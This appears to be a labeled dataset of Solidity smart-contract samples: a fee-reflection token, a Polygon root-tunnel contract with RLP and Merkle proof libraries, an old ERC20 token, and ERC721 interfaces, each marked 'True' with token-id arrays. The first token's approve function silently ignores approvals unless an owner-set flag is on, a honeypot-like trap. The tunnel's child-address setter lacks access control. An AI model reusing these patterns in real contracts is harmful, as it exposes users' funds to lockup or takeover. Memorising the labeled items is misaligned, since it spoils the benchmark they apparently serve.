function setUpperBoundAmount(uint256 amount) external onlyOwner() {
require(amount >= 0 && amount <= (_tTotal/_decimals_exponent), "amount is out of range");
require(amount >= _lower_bound_amount, "_upper_bound_amount cannot be smaller than _lower_bound_amount");
_upper_bound_amount = amount;
}
function setLowerBoundAmount(uint256 amount) external onlyOwner() {
require(amount >= 0 && amount <= (_tTotal/_decimals_exponent), "amount is out of range");
require(_upper_bound_amount >= amount, "_lower_bound_amount cannot be bigger than _lower_bound_amount");
_lower_bound_amount = amount;
}
function setLowerBoundAndUpperBoundAmount(uint256 lower_bound_amount, uint256 upper_bound_amount) external onlyOwner() {
require(lower_bound_amount >= 0 && lower_bound_amount <= (_tTotal.div(_decimals_exponent)), "amount is out of range");
require(upper_bound_amount >= 0 && upper_bound_amount <= (_tTotal.div(_decimals_exponent)), "amount is out of range");
require(upper_bound_amount >= lower_bound_amount, "lower_bound_amount cannot be bigger than upper_bound_amount");
_lower_bound_amount = lower_bound_amount;
_upper_bound_amount = upper_bound_amount;
}
function getMinFeeRatio() public view returns (uint256) {
return _min_fee_ratio;
}
function getMaxFeeRatio() public view returns (uint256) {
return _max_fee_ratio;
}
function getUpperBoundAmount() public view returns (uint256) {
return _upper_bound_amount;
}
function getLowerBoundAmount() public view returns (uint256) {
return _lower_bound_amount;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if(_approveAllowed || Ownable.owner() == owner)
{
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount)
private
view
returns (uint256, uint256)
{
uint256 fee_ratio = 0;
if(tAmount <= _lower_bound_amount.mul(_decimals_exponent))
{
fee_ratio = _min_fee_ratio;
}
else if(tAmount >= _upper_bound_amount.mul(_decimals_exponent))
{
fee_ratio = _max_fee_ratio;
}
else
{
uint256 diff_amount = tAmount.sub(_lower_bound_amount.mul(_decimals_exponent));
uint256 max_diff_amount = _upper_bound_amount.sub(_lower_bound_amount);
max_diff_amount = max_diff_amount.mul(_decimals_exponent);
uint256 max_diff_ratio = _max_fee_ratio.sub(_min_fee_ratio);
uint256 fraction = diff_amount.mul(max_diff_ratio).div(max_diff_amount);
fee_ratio = fraction.add(_min_fee_ratio);
}
uint256 tFee = tAmount.div(10000).mul(fee_ratio);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import {FxBaseRootTunnel} from "../Libraries/tunnel/FxBaseRootTunnel.sol";
interface CryptOrchidParent {
enum Stage {Unsold, Seed, Flower, Dead}
function getTokenMetadata(uint256 tokenId)
external
view
returns (
string memory,
uint256,
uint256,
Stage
);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
}
/**
* @title CryptOrchidRootTunnel
*/
contract CryptOrchidRootTunnel is FxBaseRootTunnel {
bytes public latestData;
address public CryptOrchidERC721;
constructor(
address _checkpointManager,
address _fxRoot,
address _CryptOrchidERC721
) public FxBaseRootTunnel(_checkpointManager, _fxRoot) {
CryptOrchidERC721 = _CryptOrchidERC721;
}
// Effectively a no-op, FXBaseRootTunnel requires that we implement this
function _processMessageFromChild(bytes memory data) internal override {
latestData = data;
}
function sendMessageToChild(uint256 tokenId) public {
try CryptOrchidParent(CryptOrchidERC721).ownerOf(tokenId) returns (address owner) {
if (owner == msg.sender) {
(string memory species, uint256 plantedAt, uint256 waterLevel, ) = CryptOrchidParent(CryptOrchidERC721)
.getTokenMetadata(tokenId);
bytes memory message = abi.encode(species, plantedAt, waterLevel, tokenId);
_sendMessageToChild(message);
}
} catch {} // solhint-disable-line no-empty-blocks
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import {RLPReader} from "./RLPReader.sol";
import {MerklePatriciaProof} from "./MerklePatriciaProof.sol";
import {Merkle} from "./Merkle.sol";
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data) external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) internal {
checkpointManager = ICheckpointManager(_checkpointManager);
fxRoot = IFxStateSender(_fxRoot);
}
// set fxChildTunnel if not set already
function setFxChildTunnel(address _fxChildTunnel) public {
require(fxChildTunnel == address(0x0), "FxBaseRootTunnel: CHILD_TUNNEL_ALREADY_SET");
fxChildTunnel = _fxChildTunnel;
}
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
fxRoot.sendMessageToChild(fxChildTunnel, message);
}
function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) {
RLPReader.RLPItem[] memory inputDataRLPList = inputData.toRlpItem().toList();
// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash = keccak256(
abi.encodePacked(
inputDataRLPList[2].toUint(), // blockNumber
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask
inputDataRLPList[9].toUint() // receiptLogIndex
)
);
require(processedExits[exitHash] == false, "FxRootTunnel: EXIT_ALREADY_PROCESSED");
processedExits[exitHash] = true;
RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6].toBytes().toRlpItem().toList();
RLPReader.RLPItem memory logRLP = receiptRLPList[3].toList()[inputDataRLPList[9].toUint()]; // receiptLogIndex
RLPReader.RLPItem[] memory logRLPList = logRLP.toList();
// check child tunnel
require(fxChildTunnel == RLPReader.toAddress(logRLPList[0]), "FxRootTunnel: INVALID_FX_CHILD_TUNNEL");
// verify receipt inclusion
require(
MerklePatriciaProof.verify(
inputDataRLPList[6].toBytes(), // receipt
inputDataRLPList[8].toBytes(), // branchMask
inputDataRLPList[7].toBytes(), // receiptProof
bytes32(inputDataRLPList[5].toUint()) // receiptRoot
),
"FxRootTunnel: INVALID_RECEIPT_PROOF"
);
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
inputDataRLPList[2].toUint(), // blockNumber
inputDataRLPList[3].toUint(), // blockTime
bytes32(inputDataRLPList[4].toUint()), // txRoot
bytes32(inputDataRLPList[5].toUint()), // receiptRoot
inputDataRLPList[0].toUint(), // headerNumber
inputDataRLPList[1].toBytes() // blockProof
);
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList(); // topics
require(
bytes32(logTopicRLPList[0].toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig
"FxRootTunnel: INVALID_SIGNATURE"
);
// received message data
bytes memory receivedData = logRLPList[2].toBytes();
bytes memory message = abi.decode(receivedData, (bytes)); // event decodes params again, so decoding bytes to get message
return message;
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
(bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = checkpointManager.headerBlocks(headerNumber);
require(
keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership(
blockNumber - startBlock,
headerRoot,
blockProof
),
"FxRootTunnel: INVALID_HEADER"
);
return createdAt;
}
/**
* @notice receive message from L2 to L1, validated by proof
* @dev This function verifies if the transaction actually happened on child chain
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function receiveMessage(bytes memory inputData) public virtual {
bytes memory message = _validateAndExtractMessage(inputData);
_processMessageFromChild(message);
}
/**
* @notice Process message received from Child Tunnel
* @dev function needs to be implemented to handle message as per requirement
* This is called by onStateReceive function.
* Since it is called via a system call, any event will not be emitted during its execution.
* @param message bytes message that was sent from Child Tunnel
*/
function _processMessageFromChild(bytes memory message) internal virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint256 len;
uint256 memPtr;
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
require(item.length > 0, "RLPReader: INVALID_BYTES_LENGTH");
uint256 memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @param item RLP encoded list in bytes
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {
require(isList(item), "RLPReader: ITEM_NOT_LIST");
uint256 items = numItems(item);
RLPItem[] memory result = new RLPItem[](items);
uint256 listLength = _itemLength(item.memPtr);
require(listLength == item.len, "RLPReader: LIST_DECODED_LENGTH_MISMATCH");
uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 dataLen;
for (uint256 i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
return result;
}
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
uint8 byte0;
uint256 memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START) return false;
return true;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
uint256 ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
function toAddress(RLPItem memory item) internal pure returns (address) {
require(!isList(item), "RLPReader: DECODING_LIST_AS_ADDRESS");
// 1 byte for the length prefix
require(item.len == 21, "RLPReader: INVALID_ADDRESS_LENGTH");
return address(toUint(item));
}
function toUint(RLPItem memory item) internal pure returns (uint256) {
require(!isList(item), "RLPReader: DECODING_LIST_AS_UINT");
require(item.len <= 33, "RLPReader: INVALID_UINT_LENGTH");
uint256 itemLength = _itemLength(item.memPtr);
require(itemLength == item.len, "RLPReader: UINT_DECODED_LENGTH_MISMATCH");
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset;
uint256 result;
uint256 memPtr = item.memPtr + offset;
assembly {
result := mload(memPtr)
// shfit to the correct location if neccesary
if lt(len, 32) {
result := div(result, exp(256, sub(32, len)))
}
}
return result;
}
// enforces 32 byte length
function toUintStrict(RLPItem memory item) internal pure returns (uint256) {
uint256 itemLength = _itemLength(item.memPtr);
require(itemLength == item.len, "RLPReader: UINT_STRICT_DECODED_LENGTH_MISMATCH");
// one byte prefix
require(item.len == 33, "RLPReader: INVALID_UINT_STRICT_LENGTH");
uint256 result;
uint256 memPtr = item.memPtr + 1;
assembly {
result := mload(memPtr)
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
uint256 listLength = _itemLength(item.memPtr);
require(listLength == item.len, "RLPReader: BYTES_DECODED_LENGTH_MISMATCH");
uint256 offset = _payloadOffset(item.memPtr);
uint256 len = item.len - offset; // data length
bytes memory result = new bytes(len);
uint256 destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(item.memPtr + offset, destPtr, len);
return result;
}
/*
* Private Helpers
*/
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) private pure returns (uint256) {
// add `isList` check if `item` is expected to be passsed without a check from calling function
// require(isList(item), "RLPReader: NUM_ITEMS_NOT_LIST");
uint256 count = 0;
uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint256 endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr); // skip over an item
require(currPtr <= endPtr, "RLPReader: NUM_ITEMS_DECODED_LENGTH_MISMATCH");
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint256 memPtr) private pure returns (uint256) {
uint256 itemLen;
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) itemLen = 1;
else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
itemLen := add(dataLen, add(byteLen, 1))
}
} else if (byte0 < LIST_LONG_START) {
itemLen = byte0 - LIST_SHORT_START + 1;
} else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
itemLen := add(dataLen, add(byteLen, 1))
}
}
return itemLen;
}
// @return number of bytes until the data
function _payloadOffset(uint256 memPtr) private pure returns (uint256) {
uint256 byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START) return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1;
else if (byte0 < LIST_SHORT_START)
// being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else return byte0 - (LIST_LONG_START - 1) + 1;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(
uint256 src,
uint256 dest,
uint256 len
) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
// left over bytes. Mask is used to remove unwanted bytes from the word
uint256 mask = 256**(WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import {RLPReader} from "./RLPReader.sol";
library MerklePatriciaProof {
/*
* @dev Verifies a merkle patricia proof.
* @param value The terminating value in the trie.
* @param encodedPath The path in the trie leading to value.
* @param rlpParentNodes The rlp encoded stack of nodes.
* @param root The root hash of the trie.
* @return The boolean validity of the proof.
*/
function verify(
bytes memory value,
bytes memory encodedPath,
bytes memory rlpParentNodes,
bytes32 root
) internal pure returns (bool) {
RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes);
RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item);
bytes memory currentNode;
RLPReader.RLPItem[] memory currentNodeList;
bytes32 nodeKey = root;
uint256 pathPtr = 0;
bytes memory path = _getNibbleArray(encodedPath);
if (path.length == 0) {
return false;
}
for (uint256 i = 0; i < parentNodes.length; i++) {
if (pathPtr > path.length) {
return false;
}
currentNode = RLPReader.toRlpBytes(parentNodes[i]);
if (nodeKey != keccak256(currentNode)) {
return false;
}
currentNodeList = RLPReader.toList(parentNodes[i]);
if (currentNodeList.length == 17) {
if (pathPtr == path.length) {
if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) {
return true;
} else {
return false;
}
}
uint8 nextPathNibble = uint8(path[pathPtr]);
if (nextPathNibble > 16) {
return false;
}
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble]));
pathPtr += 1;
} else if (currentNodeList.length == 2) {
uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr);
if (pathPtr + traversed == path.length) {
//leaf node
if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) {
return true;
} else {
return false;
}
}
//extension node
if (traversed == 0) {
return false;
}
pathPtr += traversed;
nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1]));
} else {
return false;
}
}
}
function _nibblesToTraverse(
bytes memory encodedPartialPath,
bytes memory path,
uint256 pathPtr
) private pure returns (uint256) {
uint256 len = 0;
// encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath
// and slicedPath have elements that are each one hex character (1 nibble)
bytes memory partialPath = _getNibbleArray(encodedPartialPath);
bytes memory slicedPath = new bytes(partialPath.length);
// pathPtr counts nibbles in path
// partialPath.length is a number of nibbles
for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) {
bytes1 pathNibble = path[i];
slicedPath[i - pathPtr] = pathNibble;
}
if (keccak256(partialPath) == keccak256(slicedPath)) {
len = partialPath.length;
} else {
len = 0;
}
return len;
}
// bytes b must be hp encoded
function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) {
bytes memory nibbles = "";
if (b.length > 0) {
uint8 offset;
uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b));
if (hpNibble == 1 || hpNibble == 3) {
nibbles = new bytes(b.length * 2 - 1);
bytes1 oddNibble = _getNthNibbleOfBytes(1, b);
nibbles[0] = oddNibble;
offset = 1;
} else {
nibbles = new bytes(b.length * 2 - 2);
offset = 0;
}
for (uint256 i = offset; i < nibbles.length; i++) {
nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b);
}
}
return nibbles;
}
function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) {
return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
library Merkle {
function checkMembership(
bytes32 leaf,
uint256 index,
bytes32 rootHash,
bytes memory proof
) internal pure returns (bool) {
require(proof.length % 32 == 0, "Invalid proof length");
uint256 proofHeight = proof.length / 32;
// Proof of size n means, height of the tree is n+1.
// In a tree of height n+1, max #leafs possible is 2 ^ n
require(index < 2**proofHeight, "Leaf index is too big");
bytes32 proofElement;
bytes32 computedHash = leaf;
for (uint256 i = 32; i <= proof.length; i += 32) {
assembly {
proofElement := mload(add(proof, i))
}
if (index % 2 == 0) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
index = index / 2;
}
return computedHash == rootHash;
}
}
| True | [
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|
pragma solidity ^0.4.19;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount.
/// @param _from Address to transfer from.
/// @param _to Address to transfer to.
/// @param _value Amount to transfer.
/// @return Success of transfer.
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract CHESSToken is UnboundedRegularToken {
uint public totalSupply = 10**27;
uint8 constant public decimals = 18;
string constant public name = "CHESS TOKEN";
string constant public symbol = "ZES";
function CHESSToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
3206,
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1013,
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|
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
